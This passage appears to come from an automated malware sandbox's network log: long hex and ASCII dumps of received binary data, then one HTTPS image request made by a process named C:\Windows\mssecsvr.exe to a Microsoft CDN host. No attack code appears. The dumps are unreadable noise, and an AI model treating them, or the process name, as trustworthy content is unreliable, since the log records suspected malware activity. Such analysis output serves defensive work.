0d Data Ascii: I[hq2RZ9%Vl,L:?k (+.,k[8mO3Or?s1fj~Q5kK5Om>MDhc,kA-I3YXx#C>Gi'?;#y%THsC<=\|v#Uc7UmR4yC~oSu
2022-07-20 13:44:18 UTC	4182	IN	Data Raw: 1e 0a d5 6e 2e 92 fd 5c 00 89 3e 1e d4 c9 24 05 99 43 0b 8b 9f 35 86 c7 12 43 9d fc af cf f4 f6 2a 59 05 b1 a8 d6 74 ff 00 5f e4 2b e1 c3 74 3b 52 35 f2 fe ab b7 fe 67 fe 08 82 d6 48 2e 7c 06 8f 02 0f fd 2f df 4a 3b ae e0 6b e4 b2 7d e5 cd 79 11 f4 86 ae 2e 3f f4 d1 3d 36 63 cb 8b 40 f0 1c ff 00 9e 8d 59 86 92 3b 0d d3 e5 3f 99 fc b4 2a 9d eb 6f 2e d4 93 fe bb 93 af ec 5b c2 97 1a ea 9a 0b ec 2e 92 f8 90 26 19 f9 ff 00 da 57 6a 0f 01 cf 78 8a de e9 dc 75 77 fd 3f d2 7b ff 00 3f d3 41 aa a6 b7 dd 53 77 34 68 5c 48 da 1f fd 8f fa 84 f9 76 4c 06 9d 06 8d 2e d0 e9 fc e3 ff 00 e2 d4 67 53 a2 d2 29 bf 5e 4d 56 16 6c 81 ae d7 0f 82 86 5d e0 bc d3 78 26 bf de 02 5c cf e5 35 bf f0 6b 3d be 93 9e 45 41 ce fe 57 10 7f f2 0b 6f 0e 8a 32 41 76 48 0e 81 a1 3d 8a 88 d4 Data Ascii: n.\>$C5CYt_+t;R5gH.\|/J;k}y.?=6c@Y;?o.[.&Wjxuw?{?ASw4h\HvL.gS)^MVl]x&\5k=EAWo2AvH=
2022-07-20 13:44:18 UTC	4198	IN	Data Raw: c7 7a 69 f2 72 1d 8d 61 24 4b 2c 97 70 77 6d 3f f9 82 68 e5 46 bf d7 4f 13 76 87 35 b8 ee 71 04 c1 82 3c be 96 f5 0a db 38 04 1d 08 27 f1 54 9b 9b bd ae db ab 0e b3 ac 47 d0 fc e4 4a b3 43 01 67 e6 8d 64 9d 22 3f ea d0 3c b0 ff 00 9d c4 ae 26 e6 43 27 14 16 9d 0c 44 f9 14 1c 7a c3 71 de ff 00 12 e3 ff 00 53 b1 03 23 a9 35 da 57 ee 61 22 08 07 68 07 f9 2e 56 5b 6b 4b 43 1b d8 eb 3c 7b 50 f6 28 57 8f 12 ad 26 26 e7 74 e2 e7 f3 a8 ff 00 35 03 23 2c 1a 5a 46 83 70 d7 c5 a5 42 cc cd f4 9a e7 d8 f9 00 1e ff 00 bf b7 f3 fd 35 57 32 e1 59 15 30 4b 00 11 f7 6d 4f c7 cb d1 37 fb dc 4a b6 ee 78 86 91 20 86 82 64 7f 9b b1 26 4b e8 77 89 3a 1f 80 55 19 6e e1 ef 20 fb 40 f3 d0 fe 7b 11 b1 6d 71 82 34 66 e2 44 fe ef d1 46 58 45 79 22 db 19 2c 6f a4 da 9a 66 00 92 07 f9 Data Ascii: zira$K,pwm?hFOv5q<8'TGJCgd"?<&C'DzqS#5Wa"h.V[kKC<{P(W&&t5#,ZFpB5W2Y0KmO7Jx d&Kw:Un @{mq4fDFXEy",of
2022-07-20 13:44:18 UTC	4206	IN	Data Raw: d1 90 56 bb 20 07 36 d7 df 65 fb 0b bd ee 70 0e 79 87 6e ff 00 8b b3 fc 23 3f a8 89 4f 50 be b2 e6 07 96 b8 1d 60 08 3f d9 ff 00 c8 26 cd c7 66 35 d5 b3 16 bb 37 49 dc d7 1f d2 c3 4f a5 ec a1 8d fd 0e f5 70 60 57 46 25 99 2f f7 3a d6 6e 68 8e 01 76 c6 7b ff 00 f4 4a 79 31 a1 e3 b2 ea 6a b0 3d b6 8b 1a cf 4d e1 a5 c6 cf cf 71 fd c6 7b 9d 5e c5 59 97 ef 05 96 ba 03 38 31 c3 9d fb cd fd cf df 57 eb e8 f9 95 1d 9e 93 df 59 12 c8 d7 63 8f b5 ac 77 fc 6f fa 25 4f 0b 02 cc c7 b9 94 b5 db 59 fc f1 27 da c1 3f e1 7f 3f e9 22 0c 4d 9b 1e 69 6e 5b d4 2c cc 75 a4 5a 1b 5b 84 06 0f 06 7f 46 d9 fb 9b 7f 9b ff 00 ae aa e7 13 da db 18 d8 20 43 8c 4b 9a e3 f9 af 67 e6 7b 3f ae 83 66 2e df 4f db b7 d4 6b 5c dd a3 e9 87 7b eb 75 7f e6 2d 2e 9f d0 33 b2 29 7e 4d 16 34 03 2d Data Ascii: V 6epyn#?OP`?&f57IOp`WF%/:nhv{Jy1j=Mq{^Y81WYcwo%OY'??"Min[,uZ[F CKg{?f.Ok\{u-.3)~M4-
2022-07-20 13:44:18 UTC	4222	IN	Data Raw: 40 b3 69 75 67 50 d1 f4 9a e9 f7 7d 1f fa 09 a6 93 45 0b ed ae 91 75 6f 12 e7 ed 73 01 1a 33 77 ee ff 00 99 ec 4d 5b 6f 68 71 98 82 63 e4 3f ef aa 77 62 d7 6e db ac 79 26 36 b4 44 68 3d db ff 00 7e cb 15 ea a8 3b 60 fd 27 1d ce 91 24 59 fb df e6 28 e4 b8 06 b5 76 bd 80 4e f9 23 70 0e 3d ff 00 c2 55 b1 fe fd 88 fb db 63 ab 73 8f b9 e3 6c 47 23 fc 27 f5 1e e5 33 8d 51 35 d7 1b de dd 79 32 c6 ff 00 5d aa 05 b5 b0 07 30 38 ed b1 cd 06 7c bd a8 52 e5 37 06 cb 1b 6e 3b c8 d8 e8 d8 40 1b 05 63 f9 aa ff 00 ad 5f e7 a8 5d 8e 31 1e db 89 dc e0 dd b0 44 fb 87 fe 93 fc c6 3d 15 db b7 b8 39 e5 a1 a3 e8 0e e7 f9 5f eb f4 d0 e8 04 d8 77 f7 6c 00 7f 75 be f7 d9 63 d1 b5 33 18 2c b4 36 d2 26 c8 01 b2 4e e8 fc ed ff 00 d4 fa 6c 40 c3 c2 c7 a8 3e b6 30 b9 b3 b8 17 12 1c 77 Data Ascii: @iugP}Euos3wM[ohqc?wbny&6Dh=~;`'$Y(vN#p=UcslG#'3Q5y2]08\|R7n;@c_]1D=9_wluc3,6&Nl@>0w
2022-07-20 13:44:18 UTC	4238	IN	Data Raw: ab 68 fc de 0c 7d 3f e5 fb 52 58 b8 8c 73 ea 6b be 8f b8 92 4f ee bb d8 cf fc ed 24 ef 68 5d 5a a9 ff d1 e8 9a 6b b4 80 f1 a0 00 48 27 75 84 7e eb 95 a6 57 f6 7d ee 73 c3 b7 8e 40 87 69 f4 58 e4 88 6d 4d 73 fe 93 eb 32 c6 93 a3 3f c1 ed 67 fe 94 4b ed 0e 6d 7b 9d 0d 71 98 07 b7 f5 d7 2d b3 61 a7 99 55 ae 6b cb 5a 5d 64 46 df f8 47 fd 1b 3f eb 55 28 e2 7a 95 52 e2 f3 f4 49 20 cf d3 3f f9 0a 7e 82 b7 4d 82 25 e7 47 89 74 9d 18 3f f3 34 3a 4b 2d 6b 8b da 21 a7 46 8f a4 27 fd 7d e9 13 d1 14 d7 0c ae 96 81 7b dc 5c e2 34 69 01 a5 ce 3f ce 58 ff 00 df 7a 2d 98 15 b6 b3 6d 04 ee 69 fd 26 bb 83 a4 6c f4 98 a7 e8 d5 95 63 61 bb 47 a9 ac c1 6f b4 6d ff 00 b6 eb fc f5 63 1a c0 d7 5a da a1 a3 70 89 e3 6c 7f 38 95 aa 9c e6 34 b6 3d 46 06 ed 23 68 06 41 70 ff 00 49 ff Data Ascii: h}?RXskO$h]ZkH'u~W}s@iXmMs2?gKm{q-aUkZ]dFG?U(zRI ?~M%Gt?4:K-k!F'}{\4i?Xz-mi&lcaGomcZpl84=F#hApI
2022-07-20 13:44:18 UTC	4246	IN	Data Raw: fe ba 79 86 84 ac 32 76 ec b9 a2 f1 8e d6 ea e3 a1 3e ed 3e 9f d1 55 df 97 5b 5a d7 7d 07 c9 d3 e9 18 1e e5 5f 21 c2 c2 d7 ee 2d 71 6e c8 1f 9b f9 ff 00 f9 ef d8 a9 e5 64 36 97 37 6b a5 b2 03 4f 78 3f a3 d9 67 f5 54 42 16 a3 27 40 f5 4d 8e fb 41 f7 fb f4 77 0e 93 b5 9b bf a9 f4 14 1b 65 35 e4 ba b0 79 82 67 96 7f c1 aa 14 86 3d 8e a9 fa 33 70 88 e6 5b f9 df f4 14 9c e2 d7 1b dd a1 b3 6c 9f ea 87 7a 9f f6 e3 d3 f8 3a 22 db 97 59 66 33 77 30 30 92 ed c1 c0 cc ff 00 c2 7f 21 9f e0 d3 8b 5d 5b 76 52 dd d1 2d 16 1d 1a 5d f4 bd 4a 9b fe 93 f7 f7 ac df b7 7d 9d 84 c1 2e 7f b6 41 d7 dd bf da c6 7f d5 a3 d2 7d 4a eb a7 70 0c 1d be 2a 78 e3 ad 55 6d 9b b0 b2 9b 63 6c a3 f4 95 9d 4b df 03 60 ff 00 be 7e 9b f7 15 27 e5 64 63 55 3b 81 0d 00 4b 7f 33 d4 3f e1 bf d1 bd Data Ascii: y2v>>U[Z}_!-qnd67kOx?gTB'@MAwe5yg=3p[lz:"Yf3w00!][vR-]J}.A}Jp*xUmclK`~'dcU;K3?
2022-07-20 13:44:18 UTC	4262	IN	Data Raw: ed 60 92 d6 c9 27 e8 cf fe 4d 48 d4 6a a4 56 d7 02 5f c9 1c 09 ff 00 44 d4 2d 29 05 c2 db 35 1e d1 ab 44 e9 3f 4d 4d d8 f5 ef 96 10 d2 4f 1f f5 5f e6 2a a4 b9 9b 5a 07 d0 8e 4f 82 4d d9 70 74 89 80 08 f1 dc e3 e9 d8 85 aa db b5 0d 9f a4 3a 9e 7f f2 4d 41 7b d8 c6 9b 5a d0 1e 7c 7b ff 00 2d df d8 43 c8 c9 60 63 45 7f 46 41 89 d4 ed fe 75 57 ba c6 36 c0 d7 18 01 a6 7e 33 f4 7f ab ef 4b 8b a0 51 93 7b 3a d6 6e 63 64 41 04 f1 e1 ef 6a 0d d9 5e d0 e6 97 34 82 06 ee df c8 f7 fe fa a8 cb c5 ec da fd 7d 33 b5 ba 6b 31 ff 00 7c 53 b9 c4 d6 e6 7d 20 4b 03 40 ec 7f c3 7f ea 34 6f 54 71 5b a3 5b 5b 58 15 f0 e7 c1 76 bf 9e d4 ec 07 1c 41 76 e7 93 f8 7e e3 54 4b aa 61 71 77 f8 49 02 7f 76 36 a1 52 e0 f6 8d c4 87 34 43 63 92 51 b5 e1 b5 90 04 1a c8 06 63 4f 35 0b ec fd Data Ascii: `'MHjV_D-)5D?MMO_*ZOMpt:MA{Z\|{-C`cEFAuW6~3KQ{:ncdAj^4}3k1\|S} K@4oTq[[[XvAv~TKaqwIv6R4CcQcO5
2022-07-20 13:44:18 UTC	4278	IN	Data Raw: 1d 8f df a6 a1 fd be 1f 47 fb 08 a2 d2 30 6a c7 9d 79 91 e4 0f fd f5 3d 6e 10 e3 e6 63 ef 4d 5b 8b 9a e2 61 bb 3d ba 76 79 55 2d 69 16 03 a9 6b 4b 9d fd a8 da 86 ea 6e 59 2f b6 a2 e0 03 64 cf f5 42 49 a9 6b 5a e9 79 fa 3f 9b 1c 87 14 91 4b ff d2 d5 b5 fb 2d 7b 04 18 7c 47 f2 48 6e d5 66 b1 16 b8 0e 37 d8 e3 fd af 6a a2 da 45 c1 f6 1d 61 ed 2e f2 6f ee ab 96 43 2d 73 9a 74 71 22 3f 95 f4 f6 ae 2a 5a 68 3e a9 0c de 01 1a e8 03 76 98 55 18 c7 5c d0 ee 36 34 6b e7 3e e4 5a 2d 69 61 33 c3 e0 fc d0 7d 70 da 9c de 25 cf 33 e5 fe 0d e8 44 1d 54 5b 57 dd ee 96 f0 76 9f fc 92 83 2d 68 da f3 a3 9c e2 df 8e d0 a1 8f 63 4b 83 26 40 6e be 61 aa b6 53 a5 cc 20 ed 15 90 e1 f1 77 d3 44 46 cd 2a d3 e5 0d 76 8f 01 3f 73 93 80 59 ec ee 1a 7f ea 52 be 45 a1 ae d1 ce a8 ba 3c Data Ascii: G0jy=ncM[a=vyU-ikKnY/dBIkZy?K-{\|GHnf7jEa.oC-stq"?Zh>vU\64k>Z-ia3}p%3DT[Wv-hcK&@naS wDFv?sYRE<
2022-07-20 13:44:18 UTC	4286	IN	Data Raw: 52 e0 e8 53 4e 7b 5b 3b 9a e1 ee 60 24 c7 6f cf ff 00 a4 ab b1 e5 e2 39 93 c9 d4 eb fb 8d 5a 18 f5 fa 05 d6 9f cf 3a 9f de d1 48 06 c0 69 3b b6 c9 04 0d 75 43 84 22 9a 65 86 43 9d a3 64 88 07 9f cd 72 25 63 f4 6d 78 02 5c 25 d3 db ff 00 20 a7 6b 8d f1 a1 dc 34 88 d2 27 ff 00 20 84 5a 6c dc e3 c0 04 03 fb ce 42 94 a0 d7 6d 91 2f 74 f7 94 94 db 93 e8 56 6b 60 98 fa 4e 27 93 09 23 41 4f ff d4 e8 f6 b4 5a 5a f1 b9 c7 de 04 98 6e ef 6b 5a cf f8 c4 6a d9 eb 43 9b c3 41 6f cd c5 de cd a9 eb d9 53 db bc 7e 91 83 43 ce 81 0e a6 9a 37 b4 7d 17 b8 bd a0 fd 23 3f fa 2d 72 2d 80 d6 37 ec 71 89 d8 06 d3 23 91 f9 be 97 f6 d5 ba 73 76 d7 b4 41 30 40 f9 7d 0f ed 28 96 71 a6 e6 10 49 1d bf b0 a3 8c d6 32 8f 78 8d a6 00 fe b7 fa ec 46 d4 c4 5f 79 60 7d cc da e0 ee fe 3f e0 Data Ascii: RSN{[;`$o9Z:Hi;uC"eCdr%cmx\% k4' ZlBm/tVk`N'#AOZZnkZjCAoS~C7}#?-r-7q#svA0@}(qI2xF_y`}?
2022-07-20 13:44:18 UTC	4302	IN	Data Raw: 23 6c 71 f4 ff 00 ed b5 09 02 92 26 5a 74 68 f1 fe 52 66 bc 38 97 bb 81 03 e3 fc 85 10 88 55 a6 a1 ce 2e 69 b3 4a aa 6c 86 8e e7 f9 68 56 5d b5 ef 76 9e f7 4c f8 3a 3f 37 fa 8a d3 cb 45 5b 44 6f 79 ff 00 ce 7f b0 aa 65 55 ee 91 a3 00 d7 e7 f4 91 02 d0 51 e3 dc f7 b8 fa ae 80 f0 04 c4 90 1a 7d bf f9 9a 13 de fc 4c 9b 37 6a e1 2d 1f ca de 14 58 fa c6 f0 ed 03 b4 11 df ff 00 30 54 b3 f2 9c e3 ef d0 86 76 fc ed bb 6a af fe 82 70 c7 72 f0 45 aa bc 9f 60 65 a4 08 de e3 e4 d1 ed a9 ab 27 29 d7 58 ff 00 57 1c 43 7f 74 69 ff 00 82 7e 6a b0 ef d2 34 cf d2 3a c7 fd 05 26 50 76 e8 74 fc 8a fe 30 21 a8 40 34 cb 13 32 cc 8a 81 cb 68 70 06 76 8e 3f 92 cf fd 48 b4 a9 1b e1 db 40 ac 9d cd 03 9d 3f 7f f9 5f 98 83 8f 41 22 48 99 e0 46 a0 05 a1 8c cf 4e 24 c3 40 d5 bf 9b 3f Data Ascii: #lq&ZthRf8U.iJlhV]vL:?7E[DoyeUQ}L7j-X0TvjprE`e')XWCti~j4:&Pvt0!@42hpv?H@?_A"HFN$@?
2022-07-20 13:44:18 UTC	4318	IN	Data Raw: 47 d2 32 ff 00 fa 8d aa de c7 59 61 b0 b4 06 b0 34 d6 47 8c 2a f8 45 98 b3 53 db 3b 8c 3c c7 e7 06 fe f7 f2 11 db 6e d7 36 a7 6a e7 6a 27 86 b0 2c d2 7b 36 43 4f 15 be b5 d5 39 ba b4 82 1c d3 e4 37 fa df f6 e2 d9 70 f4 9a 36 98 20 4f 88 59 f8 55 39 f6 56 e7 81 b5 8d 7e e3 c1 8f cc 7f f6 d8 a5 8f d4 9a 4b 18 e1 a3 db 20 0e cd 9d 89 58 1f c5 41 35 16 b6 d7 89 1b 5a e6 92 27 b9 9f 72 3d d7 39 95 c6 8e 9e e3 b8 fc e4 2b 6b 61 78 13 2e 04 38 1f dd 85 2c 9a b6 d0 e6 b7 47 b8 c8 3f 34 61 62 ff 00 34 b4 ea aa e7 9f 53 90 5e 40 23 b3 27 6d 5b 7f b1 f4 d4 9b 5d b6 56 f6 54 d9 2f 78 92 38 0d 05 aa 47 d6 0f 68 79 da d7 3f 79 83 c6 df f0 7f cb 63 eb 53 b3 37 ec ac 71 11 20 17 6d 9f 0f 7b bf f3 04 b4 b4 23 a7 1c 9b 5d bc 9d db 60 89 f6 bb f3 9b ee 54 b2 6c b0 dc 1c 5d Data Ascii: G2Ya4G*ES;<n6jj',{6CO97p6 OYU9V~K XA5Z'r=9+kax.8,G?4ab4S^@#'m[]VT/x8Ghy?ycS7q m{#]`Tl]
2022-07-20 13:44:18 UTC	4322	IN	Data Raw: 85 d1 25 82 1b 3c 6e 72 76 51 8e e0 6d c9 07 7e 8d 71 9d 35 d8 ff 00 cd fe 5a cf 07 56 7e 88 2b dd 8c e0 fb 01 36 3b 46 b7 9f 64 ab 2d c7 7d 36 b8 40 7b 59 5c 0f bd 01 8e 76 3b 9e 5a 48 65 75 38 92 75 2e 03 7f fd 5e f5 72 bb da da f7 c9 1e 9b 40 04 f7 7b 82 69 8d ea 96 be 53 6d c6 b2 dc 86 83 e9 ed 6f 7d 09 ff 00 09 67 fd 35 6a ba de cb c3 9c 09 6b 86 cf 29 fc eb 12 6e e7 52 2b 00 97 16 c0 ff 00 cc 94 6b cf de 6b 99 00 b8 b0 01 c7 b7 f3 ec 4e 14 96 39 54 59 90 58 44 07 07 16 99 d3 4f e4 7f 9a b3 1c c3 58 35 dc 37 bd ae 6b a3 92 fd bb ac f4 ff 00 cc 5a 75 e5 9f 51 e1 83 f3 77 4c fe ef e6 7f c5 aa 6f b8 5d 60 7d 50 1e dd ae 8f 27 35 df 9c 85 f5 5a 53 d5 7d d7 03 7b 0c 30 43 9c 4f 87 fa 36 aa f7 06 b9 c5 8d 0e 0f 9f 74 7d 11 3f 4e af fb fa bb 8b 6d 4d c6 11 Data Ascii: %<nrvQm~q5ZV~+6;Fd-}6@{Y\v;ZHeu8u.^r@{iSmo}g5jk)nR+kkN9TYXDOX57kZuQwLo]`}P'5ZS}{0CO6t}?NmM
2022-07-20 13:44:18 UTC	4338	IN	Data Raw: 9f 7a 33 5c fc 76 31 db 5c e6 b7 74 81 fb ae 08 e9 ba ad 58 37 9f a2 ce 22 49 f1 45 1b bd 4d a2 4b 5a e1 af 63 28 83 18 62 c3 8f 72 0e de 27 4f fc 82 8b 37 5c 5c 47 d0 d4 34 09 fa 53 ff 00 56 c4 d3 2b 2a b6 56 d2 7d 77 35 a4 16 bb dc 4f 97 e7 31 57 19 0e 6e f1 5e a0 03 a9 e3 4f 77 b9 88 f4 0f 51 cf ad d2 d7 3a 34 f2 69 ff 00 c9 29 d9 58 73 5f 5b f8 dd 21 1b ea ab 44 d7 d3 6c 16 fb 77 b4 48 1d bf 93 fd 54 ad b6 6a 6d 6c 04 3a 27 c7 fa df e7 26 66 3d 6c ad c6 de 61 c7 9f a3 01 5a a2 96 b2 8f 57 e8 92 07 3c 7e 6e dd df f1 89 5f 64 da 0a a8 01 81 ee 02 5d a0 27 f3 41 fa 7b 10 2c 70 b2 b0 d7 8f 71 32 09 fe 4a bc da db 00 49 24 f7 ec 10 9d 84 e6 ba 48 8f cd 67 7f ed a4 0a 98 62 58 ed fb cc 6d 04 91 1f ba 1a ab de f6 dd 74 3c c7 12 08 3f 45 5d 6e 3b a9 6b 85 c6 Data Ascii: z3\v1\tX7"IEMKZc(br'O7\\G4SV+*V}w5O1Wn^OwQ:4i)Xs_[!DlwHTjml:'&f=laZW<~n_d]'A{,pq2JI$HgbXmt<?E]n;k
2022-07-20 13:44:18 UTC	4354	IN	Data Raw: b7 c3 5b 25 b3 2e ed bb f3 ff 00 e8 2a 79 af b4 4b 84 58 c0 06 e2 34 3f cb 7e c4 d7 e5 07 b1 db 27 6b 9c d2 0f 84 7f a4 fe 42 8c 04 17 3b 33 eb 66 0e 3d 8e c6 01 f6 dc d9 10 d1 ed 0e 9f a2 e7 21 b3 a8 e7 e6 54 6d 2d 15 54 e2 44 fd 3d 47 d2 f4 d6 7b 3e ae 33 14 b6 f2 ef a6 ed c4 11 af 3f f5 6a ef 57 cd 63 b0 7d 0f e6 de d2 1d 58 9e 59 1b f6 bd 5d e0 c0 00 18 c7 1c 8e f3 92 d3 21 4d 4b f3 01 b8 d5 3b dc ea 5d 59 f3 96 fe 8d 73 a1 fb 0d 66 c2 5a 03 86 bc 69 1f f9 25 a9 5b 3d 03 ea db 22 d7 37 46 8f a6 18 e1 f4 f6 bb f9 a7 d8 cf df fa 08 2d c8 7d 21 c6 a0 18 58 09 06 01 7f f9 f6 ef fa 0a 7c 62 98 6e d2 d5 6d b5 51 ef fd e2 35 f0 3f f9 82 b0 ec c1 5b 1a 3f 3a 4e d1 e0 df a3 bb fe b9 f9 8a 9b ae 75 fe 9d 37 58 e7 3b e9 ba 49 2e 27 fd 1f fc 5a 25 ef 36 54 eb 20 Data Ascii: [%.*yKX4?~'kB;3f=!Tm-TD=G{>3?jWc}XY]!MK;]YsfZi%[="7F-}!X\|bnmQ5?[?:Nu7X;I.'Z%6T
2022-07-20 13:44:18 UTC	4361	IN	Data Raw: ff 00 21 cf 58 b4 bc 31 ed d7 4d e3 77 86 d3 f9 aa e6 2c 75 76 c5 22 ca ab 1b 6d 8f 80 1a e0 67 c9 b2 7f 49 ff 00 5b 55 72 31 70 ab 71 b2 d7 87 99 f9 22 f5 3c 67 37 27 d9 10 4e 80 76 3f 98 85 67 4f 9c 86 97 6a d6 b4 80 df 1d 83 f3 bf ae f5 77 19 11 d7 c1 65 d2 d6 f5 16 54 d6 8a 06 9c ff 00 65 5d 39 e0 93 e9 9d cc 68 06 7e 3f 49 51 a3 a3 fa 64 59 7b a1 a0 49 20 4e df f5 7a 9d 95 d7 53 9c 19 ab 34 93 ff 00 9f 3e 87 fe 08 8c a7 c4 74 28 b2 5b 8e c9 16 b4 b9 a0 9e 34 8e c9 3b 73 b6 6d d4 73 b4 f7 0a bb b7 00 48 27 69 e1 a0 c0 db f9 be a2 9d 77 b1 a0 49 68 f3 4c a2 a0 a2 3d 3b a4 0f 69 3f 29 fd d4 13 8a 2d 2e 36 09 2f d5 d2 7d a3 54 6b 1e e7 90 d2 e8 0d 6e f8 3a 7f 27 fb 6a 2e 26 c3 e9 b0 ce bf f4 65 21 61 2c ad a8 ee 15 03 1e e0 67 e7 f4 3f b4 93 70 5b 5d ae Data Ascii: !X1Mw,uv"mgI[Ur1pq"<g7'Nv?gOjweTe]9h~?IQdY{I NzS4>t([4;smsH'iwIhL=;i?)-.6/}Tkn:'j.&e!a,g?p[]
2022-07-20 13:44:18 UTC	4377	IN	Data Raw: b1 5d 6d 79 06 ca dc df e6 c4 6a f0 ac f5 8f ab b7 e3 34 dd 43 0b a9 9d 08 fa 4c ff 00 cc 55 fc 1a 5d d4 31 e8 76 6c b6 c0 f1 5b 9c ef ce 68 fa 1e a2 b1 09 f0 c6 f8 8c e0 7f 47 f4 a0 b6 ad a7 f5 6b 02 da 6c 6e 63 e4 35 c4 b5 ad fc e7 7f 2d 74 79 78 d6 5c 45 b5 91 bb 46 b9 be 01 be d4 56 82 db c9 30 e2 c0 e8 03 89 03 db b5 07 27 34 fa 0c 7d a7 6c 3c 87 16 ea 5d fd 95 5f 29 96 49 f1 27 84 0d 1d 0b 48 7b 7d bd de 1c 5d e7 1b 1d 57 f6 90 31 c1 f4 e9 ac 98 24 38 eb ff 00 41 c8 78 dd 4b 1f 39 ae a9 a5 cd b2 41 da e1 b6 c7 01 f9 ff 00 d9 4b 25 fb ae df 71 15 d6 01 d4 f7 fd d6 28 65 13 b1 dd 72 3c bc 87 dd 40 0e d6 d0 0c 8e 24 4f fd f1 5b a2 96 30 d3 76 a6 1b 2d 24 e8 0b bd 9b bd ab 99 ab ac e5 e5 31 d5 d2 d6 be e2 e2 38 f6 ec 5b fd 1e 9c ba a9 2c ca 87 58 04 36 Data Ascii: ]myj4CLU]1vl[hGklnc5-tyx\EFV0'4}l<]_)I'H{}]W1$8AxK9AK%q(er<@$O[0v-$18[,X6
2022-07-20 13:44:18 UTC	4393	IN	Data Raw: cf ff 00 33 4c a2 a6 55 01 53 37 13 04 b9 83 e3 bf 72 7c 87 ba b6 3d 8d e0 0d 15 6b 2d 36 38 36 48 8b 38 f8 1f 6a 2d af 71 22 d1 af b8 c0 ff 00 5f dc 44 0f 50 25 16 d5 bf ad 36 80 c7 be 0d 8f 83 03 49 56 99 90 2e dc 5e d2 d6 b8 08 9e 04 2c 7c 9c 56 df 67 ab 1a 57 30 b5 ba 7d a1 f8 80 b8 4b 9c 40 e3 fe 8a d4 c9 0c 78 f1 83 5b ee b0 12 4b 69 81 86 a2 ca e0 6b 33 e2 4f d2 55 72 b7 57 43 d9 57 30 7e f4 37 34 d6 2c 65 7a 3d ae 11 1e 04 7f e4 d5 ac 3b 86 46 39 63 86 db 19 d9 dd e5 54 20 7c c3 e5 b6 51 a8 79 4c 8f ab ee ae a7 65 66 58 7d 42 0b b6 f7 9f e5 bd 73 ed 12 09 5d 8f d6 ab 1d e8 11 33 c0 f8 7e f2 e5 e8 c7 f5 4b 58 39 71 5a 7c ac cc a0 65 23 d7 fc 56 19 9d 69 df c6 e8 f4 d9 4f ae 2b 0e 2c 6c 91 fb d1 f4 d1 ec c6 a1 99 03 ec a3 d3 df 23 f9 25 ae 57 ad ca Data Ascii: 3LUS7r\|=k-686H8j-q"_DP%6IV.^,\|VgW0}K@x[Kik3OUrWCW0~74,ez=;F9cT \|QyLefX}Bs]3~KX9qZ\|e#ViO+,l#%W
2022-07-20 13:44:18 UTC	4401	IN	Data Raw: f5 40 29 b2 6e 83 ed fa 0d b0 82 3e 5f 4f fe 97 e9 3f ed b5 0b 6b 70 79 89 97 bb 4f b9 3b de 03 0b ce 80 ba 49 f8 7b 37 b1 40 da e1 93 5b cf 77 48 f0 d3 f3 d3 17 16 0e d4 9b 1d 30 22 3e 47 77 fd f1 19 ae 36 31 d6 01 ee 6b 8c 79 c9 44 73 05 f5 c3 bd a2 4f fd 22 ef fc 92 11 70 66 3b 6b d7 92 e1 fd 5f cc dd fc b4 86 aa 6d 58 36 d2 43 7e 90 03 43 dd c7 6a 0d 2c 0c 79 2d 9d 48 d0 7e f3 7f ef 9b d4 e8 ca 6d ac 1e a4 91 33 23 b1 fa 2d 43 b4 ee 20 07 44 6a 5c 0f 1b 4f bd 02 69 29 32 9c 31 43 09 1b 98 5f 33 3c 11 bb d8 83 90 f0 d6 3a a3 13 b8 ee 3e 33 f4 7f cd 4c ec 91 90 1c cb 25 b5 ee de 63 9f ec 7f 29 2b a9 73 b7 b8 b4 b6 64 89 f3 fa 29 14 5a 26 3c fa 9b 40 d4 6a 04 f6 09 3e c1 73 e4 6a 01 22 0f 98 ff 00 a8 63 d2 63 fd 30 1f 12 4b 48 90 78 27 fc 1b 94 b0 a9 02 Data Ascii: @)n>_O?kpyO;I{7@[wH0">Gw61kyDsO"pf;k_mX6C~Cj,y-H~m3#-C Dj\Oi)21C_3<:>3L%c)+sd)Z&<@j>sj"cc0KHx'
2022-07-20 13:44:18 UTC	4417	IN	Data Raw: 37 fb ac fb 87 94 73 1f ea 36 c6 c9 05 cd 3c f9 fb fe 82 e8 3a ce 13 f2 c5 d5 54 0c 82 36 11 c1 0e 77 a7 75 7f f6 df e9 14 71 07 4a c9 b0 bd 94 d8 e0 e8 fa 33 53 5a 67 e9 6e fa 0b 41 d4 bf 1a d7 00 ed f5 98 d8 4f d3 9f ce f5 5e df a6 a4 c9 92 44 83 5c 32 87 ef 28 00 13 63 33 d1 8a 24 90 eb 36 37 4d 00 ff 00 07 ff 00 9c 22 39 d5 fa 36 7b b6 b4 3a 01 ef fd 84 1a f2 1c 5d b6 b6 ee 32 65 b3 b5 db a3 e9 fb bf 31 56 b7 11 c4 37 d3 78 65 d5 f0 48 dc d2 7e 9b db fd b5 50 63 04 dc bd 2b c5 37 5e 4b 9c df dd 30 d1 1f 9b ff 00 9d 29 52 e7 d7 91 2e 1a 37 db fd 9f a5 ff 00 41 44 db be c6 d3 70 da 1e d8 96 9d 24 8f 7e d7 7d 35 93 67 49 38 ee 73 ea b2 d6 98 fd fd d1 3f f1 bb f7 a8 b8 41 d0 9e 1e ca d9 d4 b2 ff 00 4d ee 71 d6 0e e5 21 7c 3e a6 03 cc 3e 3c 4a 06 2b 2c 6e Data Ascii: 7s6<:T6wuqJ3SZgnAO^D\2(c3$67M"96{:]2e1V7xeH~Pc+7^K0)R.7ADp$~}5gI8s?AMq!\|>><J+,n

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.7	50756	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:17 UTC	241	OUT	GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
